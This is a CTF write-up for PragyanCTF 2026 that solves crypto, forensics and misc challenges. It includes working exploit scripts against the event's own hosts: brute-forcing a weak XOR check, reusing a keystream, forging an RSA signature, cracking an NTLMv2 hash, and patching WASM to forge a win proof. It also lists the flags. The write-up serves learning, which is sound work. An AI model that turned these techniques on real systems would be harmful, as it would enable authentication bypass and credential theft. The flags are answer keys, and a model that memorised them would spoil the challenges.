# PragyanCTF 2026

## crypto

### Dor4\_Null5

#### Description

A challenge-response authentication system where users can register and login. Only the "Administrator" user reveals the flag. We don't know the Administrator's secret, but the verification function has a critical weakness.

The server implements:

1. **Registration**: Store a username + 64-char password hash
2. **Login**: Challenge-response protocol using HKDF-derived keys, AES-ECB path computation, and HMAC-masked verification

#### Solution

The vulnerability is in `verify_credential`:

```python
def verify_credential(session_key, expected, provided):
    h = HMAC.new(session_key, expected, SHA256)
    mask = h.digest()[:8]
    checksum = 0
    for i in range(8):
        checksum ^= expected[i] ^ provided[i] ^ mask[i]
    return checksum == 0
```

Instead of comparing each byte individually, it XORs all comparison results into a single byte accumulator. The check `checksum == 0` only verifies:

```
XOR_all(expected) ^ XOR_all(provided) ^ XOR_all(mask) == 0
```

This is a **single byte constraint** — for any fixed `provided`, there's a 1/256 chance the checksum is zero regardless of whether we know `expected` or `mask`. Since the server allows up to 0x1337 (4919) menu interactions, we can brute-force this with \~256 expected attempts.

Each login attempt uses a fresh random `server_token`, making `navigation_key`, `expected`, and `mask` effectively random from our perspective. We simply repeat login attempts with a fixed response until the weak XOR check passes by chance.

```python
from pwn import *

context.log_level = 'warn'

r = remote("dora-nulls.ctf.prgy.in", 1337, ssl=True)

for attempt in range(3000):
    r.sendlineafter(b"choose ", b"1")
    r.sendlineafter(b"challenge (hex): ", b"00" * 8)
    r.sendlineafter(b"username: ", b"Administrator")
    r.recvuntil(b"server challenge: ")
    r.recvline()  # discard server token
    r.sendlineafter(b"response (hex): ", b"00" * 8)

    result = r.recvline().decode().strip()
    if "successful" in result:
        print(f"[+] Success on attempt {attempt + 1}!")
        print(result)
        print(r.recvline().decode().strip())
        break

r.close()
```

Succeeds in \~150-300 attempts on average.

**Flag:** `p_ctf{th15_m4ps-w0n't_l3ads_2_tr34s3ure!}`

### DumCows

#### Description

You can connect to a remote service that prints a cow and asks for a name. For any input name, it returns:

* `[Name: <base64>] says: <base64>`

Sending `FIX_COW <voice>` is a special command; with the correct voice it prints a “FLAG SPEAKS” ciphertext.

#### Solution

**Key observation: deterministic keystream reset per connection (multiple backends).**

If you open a fresh connection and send a 16+ byte name, the service returns a ciphertext of the same length. For two different 16-byte plaintexts `P` and `P'` used as the first name in fresh connections, `C ^ P` and `C' ^ P'` are identical (for that backend). This indicates a stream cipher / OTP-style construction:

`C = P XOR K`

The keystream `K` is deterministic from the start of the connection. The host is load-balanced: different backends have different `K`, so you must ensure the two connections you combine are on the same backend (just retry until the decrypted plaintext matches an expected pattern).

**Recover the voice.**

On the first request in a connection, the server encrypts the name and also encrypts a fixed 18-byte secret in the “says” field.

* If you send an empty name, the secret is encrypted with the first 18 keystream bytes `K[0:18]`.
* In another fresh connection, if you send a known 18-byte name `P`, you can recover `K[0:18] = C_name XOR P`.
* Decrypt the secret voice: `voice = C_says XOR K[0:18]`.

**Recover the flag.**

With the correct voice, `FIX_COW <voice>` prints a base64 string that decodes to 30 bytes (this is the ciphertext).

Send `FIX_COW <voice>` as the very first command in a fresh connection so it uses `K[0:30]`.

In another fresh connection to the same backend, send a 30-byte known name `P` to recover `K[0:30]`, then:

`flag = C_flag XOR K[0:30]`

Retry until the result matches the known flag format `p_ctf{...}`.

```python
#!/usr/bin/env python3
import base64
import re
import socket
import ssl
from typing import Tuple


HOST = "dum-cows.ctf.prgy.in"
PORT = 1337


def _connect() -> ssl.SSLSocket:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    s = ctx.wrap_socket(socket.socket(), server_hostname=HOST)
    s.settimeout(10)
    s.connect((HOST, PORT))
    return s


def _recv_until(s: ssl.SSLSocket, needle: bytes, timeout: float = 10.0) -> bytes:
    s.settimeout(timeout)
    buf = b""
    while needle not in buf:
        chunk = s.recv(4096)
        if not chunk:
            break
        buf += chunk
    return buf


def first_name_response(name: bytes) -> Tuple[bytes, bytes]:
    s = _connect()
    _recv_until(s, b"Give your cow a name", timeout=5.0)
    s.sendall(name + b"\n")
    out = _recv_until(s, b"Give your cow a name", timeout=5.0)
    s.close()

    m = re.search(rb"\[Name: ([A-Za-z0-9+/=]*)\] says: ([A-Za-z0-9+/=]+)", out)
    if not m:
        raise RuntimeError("failed to parse name response")
    enc_name = base64.b64decode(m.group(1) or b"")
    enc_says = base64.b64decode(m.group(2))
    return enc_name, enc_says


def first_fix_flag_cipher(voice: bytes) -> bytes:
    s = _connect()
    _recv_until(s, b"Give your cow a name", timeout=5.0)
    s.sendall(b"FIX_COW " + voice + b"\n")

    # The service does not re-print the name prompt after FIX_COW; just read what's available.
    s.settimeout(1.0)
    out = b""
    while True:
        try:
            out += s.recv(4096)
        except Exception:
            break
    s.close()

    m = re.search(rb"THE FLAG SPEAKS:\n([A-Za-z0-9+/=]+)", out)
    if not m:
        raise RuntimeError("failed to parse flag ciphertext")
    return base64.b64decode(m.group(1) + b"==")  # 30 bytes


def xor(a: bytes, b: bytes) -> bytes:
    return bytes(x ^ y for x, y in zip(a, b))


def recover_voice(max_tries: int = 50) -> bytes:
    # From empty-name session we get: C_says = voice XOR K[0:18]
    _, c_says = first_name_response(b"")

    known = b"A" * 18
    for _ in range(max_tries):
        # From known-name session we get: C_name = known XOR K[0:18]
        c_name, _ = first_name_response(known)
        k = xor(c_name, known)
        voice = xor(c_says, k)
        # The correct backend yields a readable voice.
        if all(32 <= c < 127 for c in voice):
            return voice
    raise RuntimeError("failed to recover voice (backend mismatch too often?)")


def recover_flag(max_tries: int = 200) -> bytes:
    voice = recover_voice()

    known = b"A" * 30
    for _ in range(max_tries):
        c_flag = first_fix_flag_cipher(voice)  # C_flag = flag XOR K[0:30]
        c_name, _ = first_name_response(known)  # C_name = known XOR K[0:30]
        k = xor(c_name, known)
        flag = xor(c_flag, k)
        if flag.startswith(b"p_ctf{") and flag.endswith(b"}"):
            return flag
    raise RuntimeError("failed to recover flag (backend mismatch too often?)")


if __name__ == "__main__":
    print(recover_flag().decode())
```

### !!Cand1esaNdCrypt0!!

#### Description

A cake ordering server uses RSA signatures over a custom polynomial hash `g(x, a, b) = (x³ + ax² + bx) mod P` where P is a 128-bit prime. You can sign one "approval" message and must forge a signature on a "transaction" message to get the flag.

#### Solution

The key insight is that `g(x, a, b) = x(x² + ax + b) mod P`, so **g(0, a, b) = 0 for any a, b**. If we craft a transaction suffix such that `x ≡ 0 (mod P)`, then the hash is 0 and the RSA signature of 0 is simply 0 (since `0^d mod n = 0`). No signing oracle needed.

The input `x` is constructed as `bytes_to_long(B || suffix || \x4D)` where B = `"I authorize the transaction:\n"` and suffix is 48 printable ASCII bytes. We need:

```
bytes_to_long(suffix) ≡ (-BL · 256^49 - 0x4D) · 256^(-1)  (mod P)
```

Since P is 128-bit (16 bytes) and the suffix is 48 bytes (384 bits), we fix 32 bytes randomly and compute the remaining 16 bytes mod P, retrying until all 16 bytes fall in printable ASCII range \[32, 126]. This succeeds with probability \~(95/256)^16 ≈ 1 in 2.8M, easily brute-forced.

```python
#!/usr/bin/env python3
import os
from Crypto.Util.number import bytes_to_long
from pwn import *

P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF61
B = b"I authorize the transaction:\n"

# Compute required suffix value mod P for x ≡ 0 (mod P)
BL = bytes_to_long(B)
inv256 = pow(256, -1, P)
req = (-BL * pow(256, 49, P) - 0x4D) * inv256 % P

# Find 48-byte printable suffix: high (32 bytes) || low (16 bytes)
# L = (req - H * 256^16) % P — need all 16 bytes in [32, 126]
shift = pow(256, 16, P)
table = bytes([(b % 95) + 32 for b in range(256)])

print("[*] Searching for printable suffix where x ≡ 0 (mod P)...")
count = 0
while True:
    count += 1
    high = os.urandom(32).translate(table)
    H = int.from_bytes(high, 'big')
    L = (req - H * shift) % P
    low = L.to_bytes(16, 'big')
    if min(low) >= 32 and max(low) <= 126:
        suffix = high + low
        break
    if count % 500000 == 0:
        print(f"    ... {count} attempts")

print(f"[+] Found suffix after {count} attempts")

# Verify
def pad(x): return x + bytes([len(x) & 255])
x = bytes_to_long(pad(B + suffix))
assert x % P == 0

# Exploit: skip signing, go straight to transaction with signature = 0
io = remote('candles.ctf.prgy.in', 1337, ssl=True)
io.recvuntil(b'> ')
io.sendline(b'2')
io.recvuntil(b'Suffix:')
io.sendline(suffix)
io.recvuntil(b'Signature:')
io.sendline(b'0')
print(io.recvall(timeout=10).decode())
```

**Flag:** `p_ctf{3l0w-tH3_c4Ndl35.h4VE=-tHe_CaK3!!}`

### R0tnoT13

#### Description

Given a 128-bit internal state S, we receive several diagnostic frames of the form `S XOR ROTR(S, k)` for rotation offsets k in {2, 4, 8, 16, 32, 64}. A ciphertext encrypted using the state is also provided. Recover S and decrypt the flag.

#### Solution

The key insight is that all rotation offsets are powers of 2, which means even-indexed bits and odd-indexed bits are never mixed across any frame. This reduces the problem to exactly **2 unknown bits** (one for each parity class).

Using the k=2 frame, we express every bit of S in terms of `s_0` (for even bits) and `s_1` (for odd bits):

* `s_{2i} = s_0 XOR d_0 XOR d_2 XOR ... XOR d_{2i-2}` where `d_j` is bit j of the k=2 frame
* `s_{2i+1} = s_1 XOR d_1 XOR d_3 XOR ... XOR d_{2i-1}`

With only 4 candidate states, we brute-force `(s_0, s_1)`, verify each candidate against all 6 frames for consistency, and XOR the valid state with the ciphertext. The combination `s_0=1, s_1=0` produces the flag via simple XOR decryption.

```python
from Crypto.Cipher import AES

frames = {
    8: 183552667878302390742187834892988820241,
    4: 303499033263465715696839767032360064630,
    16: 206844958160238142919064580247611979450,
    2: 163378902990129536295589118329764595602,
    64: 105702179473185502572235663113526159091,
    32: 230156190944614555973250270591375837085,
}

ciphertext = bytes.fromhex("477eb79b46ef667f16ddd94ca933c7c0")
MASK = (1 << 128) - 1

def rotr(val, k, n=128):
    return ((val >> k) | (val << (n - k))) & MASK

def int_to_bits(n, nbits=128):
    return [(n >> i) & 1 for i in range(nbits)]

d = int_to_bits(frames[2])

# Build cumulative XOR offsets for even and odd bit cycles
bit_const = [0] * 128
cumxor = 0
for i in range(0, 128, 2):
    bit_const[i] = cumxor
    cumxor ^= d[i]
cumxor = 0
for i in range(1, 128, 2):
    bit_const[i] = cumxor
    cumxor ^= d[i]

# Brute force 2 unknown bits
for s0 in range(2):
    for s1 in range(2):
        bits = [0] * 128
        for j in range(128):
            bits[j] = (s0 if j % 2 == 0 else s1) ^ bit_const[j]

        S = sum(b << i for i, b in enumerate(bits))

        # Verify against all frames
        if all(S ^ rotr(S, k) == v for k, v in frames.items()):
            S_bytes = S.to_bytes(16, 'big')
            plaintext = bytes(a ^ b for a, b in zip(ciphertext, S_bytes))
            print(f"s0={s0}, s1={s1}: {plaintext}")
```

**Flag:** `p_ctf{l1nyrl34k}`

***

## forensics

### epstein files

#### Description

You are provided with a PDF file related to an ongoing investigation. The document appears complete, but not everything is as it seems. Analyze the file carefully and recover the hidden flag. (Flag format: `pctf{...}`)

#### Solution

The PDF contains 95 pages of Epstein's "black book" contacts. The flag is hidden through a 4-layer chain: a hidden PDF comment, XOR decoding, GPG decryption, and ROT18.

**Step 1: Find the hidden PDF comment**

A PDF comment (lines starting with `%` are ignored by renderers) is embedded inside a StructElem dictionary at object 1730 (offset 13554619):

```
% /Hidden (3e373f283d312d25222332362c3d2e292322)
```

```bash
strings contacts.pdf | grep -i "Hidden"
# Output: % /Hidden (3e373f283d312d25222332362c3d2e292322)
```

**Step 2: Find the XOR key from hidden text on page 94**

Page 94 (0-indexed 93) contains two text strings rendered in font F12 with black color (`0 0 0 rg`), then covered by a near-black rectangle (`0.1098 0.1098 0.1098 rg`) drawn on top, making them invisible:

* `XOR_KEY` at position (422.986, 173.452)
* `JEFFREY` at position (422.986, 146.92)

This tells us: the XOR key is "JEFFREY".

**Step 3: XOR the hidden hex to get the GPG passphrase**

```python
import binascii

hex_str = '3e373f283d312d25222332362c3d2e292322'
data = bytes.fromhex(hex_str)
key = b'jeffrey'  # lowercase
result = bytes([d ^ key[i % len(key)] for i, d in enumerate(data)])
print(result.decode())  # TRYNOTTOGETDIDDLED
```

The passphrase is `trynottogetdiddled` (lowercase).

**Step 4: Decrypt the GPG data after %%EOF**

109 bytes of OpenPGP encrypted data are appended after the PDF's `%%EOF` marker. This is a SKESK v4 packet (AES256, SHA512 S2K, 52M iterations) followed by a SEIPD v1 packet.

```bash
# Strip leading newline from after-EOF data
python3 -c "
import sys
data = open('contacts.pdf','rb').read()
eof = data.rfind(b'%%EOF')
after = data[eof+5:].lstrip()
open('after_eof_stripped.bin','wb').write(after)
"

# Decrypt with passphrase
echo -n "trynottogetdiddled" | gpg --batch --passphrase-fd 0 -d after_eof_stripped.bin
# Output: cpgs{96a2_a5_j9l_u8_0h6p6q8}
```

**Step 5: ROT18 decode (ROT13 letters + ROT5 digits)**

The decrypted output `cpgs{...}` has `cpgs` = ROT13 of `pctf`, and the digits are ROT5-encoded:

```python
decrypted = 'cpgs{96a2_a5_j9l_u8_0h6p6q8}'
result = []
for c in decrypted:
    if c.isalpha():
        base = ord('a') if c.islower() else ord('A')
        result.append(chr((ord(c) - base + 13) % 26 + base))
    elif c.isdigit():
        result.append(str((int(c) + 5) % 10))
    else:
        result.append(c)
print(''.join(result))  # pctf{41n7_n0_w4y_h3_5u1c1d3}
```

The flag in leetspeak reads: **"AINT NO WAY HE SUICIDE"** - a reference to the Epstein conspiracy.

**Flag:** `pctf{41n7_n0_w4y_h3_5u1c1d3}`

### H\@rDl4u6H

#### Description

A single file `smile.bin` (6.4 MB) containing multiple steganographic layers, Joker-themed. The flag is hidden through a chain: corrupted WAV with embedded audio stego password, encrypted 7z archive containing a PNG, a GPG-encrypted poem in the archive's trailing bytes, and finally a frequency-domain encoding scheme in the PNG image that must be XOR-decrypted with a key hidden in the image itself.

#### Solution

**Layer 1: Carve WAV + 7z from `smile.bin`**

The file starts with `FAKE` instead of `RIFF`. The RIFF size field gives the WAV length (882164 bytes). A 7z archive follows at that offset.

```python
with open("smile.bin", "rb") as f:
    data = f.read()

# Fix WAV header
wav_data = b"RIFF" + data[4:882164]
with open("smile.wav", "wb") as f:
    f.write(wav_data)

# Carve 7z
with open("payload.7z", "wb") as f:
    f.write(data[882164:])
```

**Layer 2: Audio LSB steganography**

The WAV's `ICMT` metadata contains base64 encoding of `https://github.com/sniperline047/Audio-Steganography-CLI`. Using that tool's basic LSB decoder on the WAV extracts the password: **`transform`**.

```python
# Using Audio-Steganography-CLI's basic_lsb_steganography.decode()
# on smile.wav yields: "transform"
```

**Layer 3: Extract encrypted 7z**

The 7z archive is password-protected. Using `transform` extracts a single file `y0uc4n7533m3` — a 3000x4500 8-bit grayscale PNG.

```bash
7z x -ptransform payload.7z
```

**Layer 4: GPG-encrypted poem in 7z tail**

482 bytes trail after the 7z archive's end. The first 8 bytes are `rosetta\n`, followed by a PGP symmetrically-encrypted message. Decrypting with password `rosetta` reveals a poem describing the encoding scheme:

* 21 concentric rings in the FFT domain, each encoding 8 bits
* Start at east (0 degrees), walk counter-clockwise in 22.5 degree steps (8 positions)
* Dark (absence of FFT peak) = 1, Bright (FFT peak present) = 0
* Second half of each ring mirrors the first half

```bash
# Extract tail after 7z
dd if=payload.7z of=tail.bin bs=1 skip=5812634
# Strip "rosetta\n" prefix, decrypt
tail -c +9 tail.bin | gpg --batch --passphrase rosetta -d
```

**Layer 5: FFT frequency-domain decoding**

The 2D FFT of the PNG shows a starburst pattern with peaks at 21 radii (\~100, 169, 238, ..., 1480; spacing \~69 px) and 8 angles (0, 22.5, 45, 67.5, 90, 112.5, 135, 157.5 degrees). Peaks split cleanly into present (log-mag \~13.8) and absent (log-mag \~11.1).

```python
import numpy as np
from PIL import Image

img = np.array(Image.open("y0uc4n7533m3")).astype(float)
F = np.fft.fft2(img)
F_shifted = np.fft.fftshift(F)
mag = np.log(1 + np.abs(F_shifted))

cy, cx = mag.shape[0] // 2, mag.shape[1] // 2
radii = [100 + 69 * i for i in range(21)]
angles_deg = [0, 22.5, 45, 67.5, 90, 112.5, 135, 157.5]

THRESHOLD = 13.0
ciphertext = []

for r in radii:
    byte_val = 0
    for j, a in enumerate(angles_deg):
        a_rad = np.radians(a)
        # FFT coordinates: x=right, y=up (image y is flipped)
        fx = cx + r * np.cos(a_rad)
        fy = cy - r * np.sin(a_rad)
        peak_mag = mag[int(round(fy)), int(round(fx))]
        # Dark (no peak) = 1, Bright (peak) = 0
        bit = 0 if peak_mag > THRESHOLD else 1
        byte_val = (byte_val << 1) | bit
    ciphertext.append(byte_val)
```

**Layer 6: XOR decrypt with key from image**

The PNG contains a key written vertically on the left margin, visible after contrast/histogram equalization: **`prgynxoxo`**. XOR the 21-byte ciphertext with this repeating key:

```python
key = b"prgynxoxo"
plaintext = bytes([ciphertext[i] ^ key[i % len(key)] for i in range(21)])
# Result: p_ctf{why_50_53r10u5}
```

**Flag: `p_ctf{why_50_53r10u5}`**

Leetspeak for "why so serious" — the Joker's iconic line.

### $whoami

#### Description

An internal investigation flagged an anomalous access event involving a restricted internal resource. A packet capture was taken during the suspected time window. The task is to identify the account responsible and the credentials used.

Flag format: `p_ctf{username:password}`

#### Solution

**Step 1: Protocol analysis**

The pcap contains SSH, HTTP, and SMB2 traffic between `10.1.54.28` (client) and `10.1.54.102` (server).

**Step 2: Identify the suspicious account**

Examining SMB2 sessions reveals multiple user authentications: `b.banner`, `groot`, `p.parker`, `hawkeye`, and `t.stark`. Most users only connected to `\\10.1.54.102\IPC$`, but **`t.stark`** was the only account that successfully accessed the restricted share `\\10.1.54.102\SecretPlans`.

```bash
tshark -r capture.pcap -Y smb2 -T fields -e smb2.acct -e smb2.tree -e smb2.nt_status
```

**Step 3: Extract password policy and project list from HTTP traffic**

The HTTP traffic contained several files served from the internal web server. Two were critical:

* `/policy.txt`: `SECURITY POLICY: Passwords must be [ProjectName][TimestampOfCreation_Epoch].`
* `/notion.so`: Listed ongoing projects: `SuperHeroCallcentre`, `Terrabound`, `OceanMining`, `Arcadia`

**Step 4: Extract NTLMv2 authentication data**

From t.stark's SMB2 Session Setup (NTLMSSP\_AUTH):

```bash
tshark -r capture.pcap -Y "ntlmssp.messagetype == 0x00000003" -T fields \
  -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmserverchallenge \
  -e ntlmssp.auth.ntresponse
```

* Username: `t.stark`
* Domain: (empty)
* Server challenge: `e3ec06e38823c231`
* NTProofStr: `977bf57592dc13451d54be92d94a095d`
* NTLMv2 blob: (extracted from response)

**Step 5: Crack the NTLMv2 hash**

Given the password policy `[ProjectName][EpochTimestamp]`, the password is one of the 4 project names concatenated with a Unix epoch timestamp. A Python script implementing NTLMv2 verification was used to brute-force the combination:

```python
import struct, hmac, hashlib

def left_rotate(n, b):
    return ((n << b) | (n >> (32 - b))) & 0xffffffff

def md4(data):
    h0, h1, h2, h3 = 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476
    msg = bytearray(data)
    ml = len(data)
    msg.append(0x80)
    while len(msg) % 64 != 56:
        msg.append(0)
    msg += struct.pack('<Q', ml * 8)
    for i in range(0, len(msg), 64):
        X = list(struct.unpack('<16I', msg[i:i+64]))
        a, b, c, d = h0, h1, h2, h3
        FF = lambda a,b,c,d,k,s: left_rotate((a + ((b&c)|((~b)&d)) + X[k]) & 0xffffffff, s)
        a=FF(a,b,c,d,0,3); d=FF(d,a,b,c,1,7); c=FF(c,d,a,b,2,11); b=FF(b,c,d,a,3,19)
        a=FF(a,b,c,d,4,3); d=FF(d,a,b,c,5,7); c=FF(c,d,a,b,6,11); b=FF(b,c,d,a,7,19)
        a=FF(a,b,c,d,8,3); d=FF(d,a,b,c,9,7); c=FF(c,d,a,b,10,11); b=FF(b,c,d,a,11,19)
        a=FF(a,b,c,d,12,3); d=FF(d,a,b,c,13,7); c=FF(c,d,a,b,14,11); b=FF(b,c,d,a,15,19)
        GG = lambda a,b,c,d,k,s: left_rotate((a + ((b&c)|(b&d)|(c&d)) + X[k] + 0x5a827999) & 0xffffffff, s)
        a=GG(a,b,c,d,0,3); d=GG(d,a,b,c,4,5); c=GG(c,d,a,b,8,9); b=GG(b,c,d,a,12,13)
        a=GG(a,b,c,d,1,3); d=GG(d,a,b,c,5,5); c=GG(c,d,a,b,9,9); b=GG(b,c,d,a,13,13)
        a=GG(a,b,c,d,2,3); d=GG(d,a,b,c,6,5); c=GG(c,d,a,b,10,9); b=GG(b,c,d,a,14,13)
        a=GG(a,b,c,d,3,3); d=GG(d,a,b,c,7,5); c=GG(c,d,a,b,11,9); b=GG(b,c,d,a,15,13)
        HH = lambda a,b,c,d,k,s: left_rotate((a + (b^c^d) + X[k] + 0x6ed9eba1) & 0xffffffff, s)
        a=HH(a,b,c,d,0,3); d=HH(d,a,b,c,8,9); c=HH(c,d,a,b,4,11); b=HH(b,c,d,a,12,15)
        a=HH(a,b,c,d,2,3); d=HH(d,a,b,c,10,9); c=HH(c,d,a,b,6,11); b=HH(b,c,d,a,14,15)
        a=HH(a,b,c,d,1,3); d=HH(d,a,b,c,9,9); c=HH(c,d,a,b,5,11); b=HH(b,c,d,a,13,15)
        a=HH(a,b,c,d,3,3); d=HH(d,a,b,c,11,9); c=HH(c,d,a,b,7,11); b=HH(b,c,d,a,15,15)
        h0=(h0+a)&0xffffffff; h1=(h1+b)&0xffffffff; h2=(h2+c)&0xffffffff; h3=(h3+d)&0xffffffff
    return struct.pack('<4I', h0, h1, h2, h3)

projects = ['SuperHeroCallcentre', 'Terrabound', 'OceanMining', 'Arcadia']

user = "t.stark"
domain = ""
sc = bytes.fromhex("e3ec06e38823c231")
expected_proof = "977bf57592dc13451d54be92d94a095d"
blob = bytes.fromhex("01010000000000005c9535bd3c97dc01bd8ada676c80c318"
    "0000000002002c00530055004e004c00410042002d005000"
    "5200450043004900530049004f004e002d00540031003600"
    "3500300001002c00530055004e004c00410042002d005000"
    "5200450043004900530049004f004e002d00540031003600"
    "35003000040000000300  2c00730075006e006c00610062"
    "002d0070007200650063006900730069006f006e002d0074"
    "003100360035003000070008005c9535bd3c97dc01060004"
    "000200000008005000500000000000000000000000003000"
    "005057d986966e3d7d60e8bd92deb9e761f8ce9fa4941212"
    "bdba96c1840385d47e8b7fdec0ec98e0038631cb9ce097e3"
    "91536012e8cff9908f333c76f932a7e9930a001000000000"
    "000000000000000000000000000009002000630069006600"
    "73002f00310030002e0031002e00350034002e0031003000"
    "32000000000000000000")

# Jan 1, 2016 00:00:00 UTC = epoch 1451606400
for project in projects:
    for epoch in range(1451606400, 1483228800, 86400):  # daily through 2016
        password = f"{project}{epoch}"
        nt_hash = md4(password.encode('utf-16-le'))
        identity = (user.upper() + domain).encode('utf-16-le')
        ntlmv2_hash = hmac.new(nt_hash, identity, hashlib.md5).digest()
        proof = hmac.new(ntlmv2_hash, sc + blob, hashlib.md5).digest()
        if proof.hex() == expected_proof:
            print(f"Password: {password}")
            # Epoch 1451606400 = 2016-01-01 00:00:00 UTC
```

The cracking revealed: password = `Arcadia1451606400` (project "Arcadia" + epoch for Jan 1, 2016 00:00:00 UTC).

**Flag:** `p_ctf{t.stark:Arcadia1451606400}`

### Plumbing

#### Description

We found a Docker image that was already built and shipped. Something sensitive might have slipped through during build time, but the final container looks clean?? Analyze the image and recover what was lost.

Flag format: `p_ctf{...}`

Attachment: `app.tar` (OCI Docker image)

#### Solution

The challenge provides a Docker image exported as `app.tar`. The key insight is that Docker images store the full build history, including all commands from the Dockerfile, in the image config JSON. Even if files are deleted in later layers, the build commands remain visible.

**Step 1: Extract and inspect the image config**

```bash
tar xf app.tar
# manifest.json points to the config blob
cat manifest.json
# Config: blobs/sha256/b3f4caf17486575f3b37d7e701075fe537fe7c9473f38ce1d19d769ea393913d
python3 -m json.tool blobs/sha256/b3f4caf17486575f3b37d7e701075fe537fe7c9473f38ce1d19d769ea393913d
```

**Step 2: Read the build history**

The image config contains the full Dockerfile history. The critical entries are:

```
COPY process.py .                    # encryption script
COPY env /app/.env                   # AES key
RUN echo "p_ctf{d0ck3r_l34k5_p1p3l1n35}X|O" | python3 process.py
RUN rm /tmp/state_round7.bin         # cleanup attempt
RUN echo "uhh it was here ;-;" > /app/output.bin  # overwrite output
COPY DEV_NOTES.txt .
COPY process2.py /app/process.py     # replace with empty script
```

The flag `p_ctf{d0ck3r_l34k5_p1p3l1n35}` is leaked directly in the `RUN` command visible in the image history. Despite the cleanup steps (deleting intermediate files, overwriting output, replacing the script), the Dockerfile build commands are permanently recorded in the image config.

**Additional forensic artifacts available in intermediate layers:**

By inspecting earlier layers, one can also recover:

* `process.py`: A toy block cipher using XOR and permutation with 10 rounds
* `.env`: Contains `AES_KEY=THIS_IS_AES_KEY!`
* `state_round7.bin`: Debug dump of encryption state at round 7
* `output.bin`: Encrypted second block of the input

But none of these are needed since the flag is directly visible in the build history.

**Flag:** `p_ctf{d0ck3r_l34k5_p1p3l1n35}`

### c47chm31fy0uc4n

#### Description

We are given a Linux memory dump (`attachments/memdump.fin`) from shortly after an incident. We must recover, from memory only:

* The session key exfiltrated by a malicious userspace process
* The epoch timestamp used during exfiltration
* The destination IP used for exfiltration
* The attacker's ephemeral source port during remote (SSH) access

Flag format:

`p_ctf{<session_key>:<epoch>:<exfiltration_ip>:<ephemeral_remote_execution_port>}`

#### Solution

This solve can be done with simple string carving; no kernel symbols needed.

1. Extract the exfiltration record (session key, epoch, destination IP)

```bash
strings -a -n 6 attachments/memdump.fin | rg -n "SYNC " | head
```

This reveals the exfiltration line:

`SYNC FLAG{heap_and_rwx_never_lie} 1769853900 10.13.37.7`

So:

* `session_key = heap_and_rwx_never_lie` (the value inside `FLAG{...}`)
* `epoch = 1769853900`
* `exfiltration_ip = 10.13.37.7`

You can confirm the process kept the key in its environment:

```bash
strings -a -n 6 attachments/memdump.fin | rg -n "SESSION_KEY=" | head
```

2. Identify the attacker's SSH ephemeral source port

First, list the SSH login artifacts present in memory:

```bash
strings -a -n 6 attachments/memdump.fin | rg "Accepted password for" | sort -u
```

Multiple SSH source ports appear, so we correlate the malicious execution context (`msg_sync`) to the SSH session environment block.

```bash
strings -a -n 6 attachments/memdump.fin | rg -n -m 1 -C 80 "msg_sync --session=FLAG\\{heap_and_rwx_never_lie\\}"
```

In that context, the SSH environment variables show:

* `SSH_CLIENT=192.168.153.1 57540 22`
* `SSH_CONNECTION=192.168.153.1 57540 192.168.153.130 22`
* `SSH_TTY=/dev/pts/0`

Therefore the attacker session’s ephemeral source port is `57540`.

3. Assemble the final flag

```
p_ctf{heap_and_rwx_never_lie:1769853900:10.13.37.7:57540}
```

***

## misc

### Lost in the Haze

#### Description

A geolocation/OSINT challenge providing a Google Street View image (`whereami.png`) of a Japanese urban street. The challenge title is "Lost in the Haze" with the description: *"I remember stepping outside for a moment. The air felt heavy, the lights too bright, the streets unfamiliar. All I know is that this location has a name."*

Flag format: `p_ctf{ward_name}`

#### Solution

The key clue is in the challenge title: **"Lost in the Haze."**

The word "haze" translates to **kasumi (霞)** in Japanese. The most famous location in Japan with "kasumi" in its name is **Kasumigaseki (霞ヶ関)**, literally meaning "Gate of Mist/Haze." Kasumigaseki is located in **Chiyoda ward (千代田区)**, Tokyo, and is well known as Japan's government district.

The image confirms a Japanese urban setting via Google Street View, showing narrow streets with a distinctive granite stone wall, vending machines, and dense residential/commercial buildings typical of central Tokyo.

Combining the linguistic hint with the visual confirmation:

* "Haze" → kasumi (霞) → Kasumigaseki (霞ヶ関) → **Chiyoda** ward

Flag: `p_ctf{chiyoda}`

### Tac Tic Toe

#### Description

A web-based tic-tac-toe game at `https://tac-tic-toe.ctf.prgy.in` where you play against an AI. The game logic runs in a Go-compiled WebAssembly module (`main.wasm`). The AI uses minimax, making it unbeatable through normal play. Winning the game triggers a `/win` endpoint that returns the flag, but it requires a valid cryptographic proof generated by the WASM.

#### Solution

The game flow:

1. `GET /start` returns a `session_id` and `proof_seed`
2. The WASM initializes with the seed, and each move (player + AI) updates a rolling proof via `UpdateProof()` using custom mixing functions (`proofMixA/B/C/D`)
3. On win, `GetWinData()` returns the move sequence and proof, which is submitted to `POST /win` for server-side verification

The server validates the proof against the seed and moves but does **not** enforce that the AI played optimally -- it only replays the moves and checks the proof matches. This means if we patch the WASM to make the AI play poorly, the proof will still be valid because `UpdateProof` depends only on move positions and the seed, not on how the AI chose its move.

**Steps:**

1. Download `main.wasm` and convert to WAT text format using `wasm2wat`
2. Locate the `main.playPerfectMove` function which selects the AI's best move via minimax
3. Patch two values:
   * Change initial `bestScore` from `-1000` to `1000` (so the AI starts looking for the minimum score)
   * Change the comparison `i64.lt_s` to `i64.gt_s` (so the AI picks the worst move instead of the best)
4. Convert back to WASM with `wat2wasm`
5. Run the patched WASM in Node.js with the server's `proof_seed`, play winning moves, and submit the resulting proof

The patched AI places its marks in the worst positions. Playing moves `[0, 3, 6]` (left column) wins in 3 turns:

* Player -> 0, AI -> 1
* Player -> 3, AI -> 2
* Player -> 6 (win: left column)

```javascript
// solve_final.js
const fs = require("fs");
require("./wasm_exec.js");

async function main() {
  const startRes = await fetch("https://tac-tic-toe.ctf.prgy.in/start");
  const startData = await startRes.json();

  const go = new Go();
  const wasmBuffer = fs.readFileSync("./main_patched2.wasm");
  const result = await WebAssembly.instantiate(wasmBuffer, go.importObject);
  go.run(result.instance);

  InitGame(startData.proof_seed);

  for (const m of [0, 3, 6]) {
    if (globalThis.gameStatus !== "playing") break;
    PlayerMove(m);
  }

  const data = GetWinData();
  const payload = {
    session_id: startData.session_id,
    final_board: data.moves,
    proof: data.proof
  };

  const res = await fetch("https://tac-tic-toe.ctf.prgy.in/win", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify(payload)
  });
  console.log(await res.text());
}

main();
```

The WASM patching was done with:

```bash
wasm2wat main.wasm -o main.wat
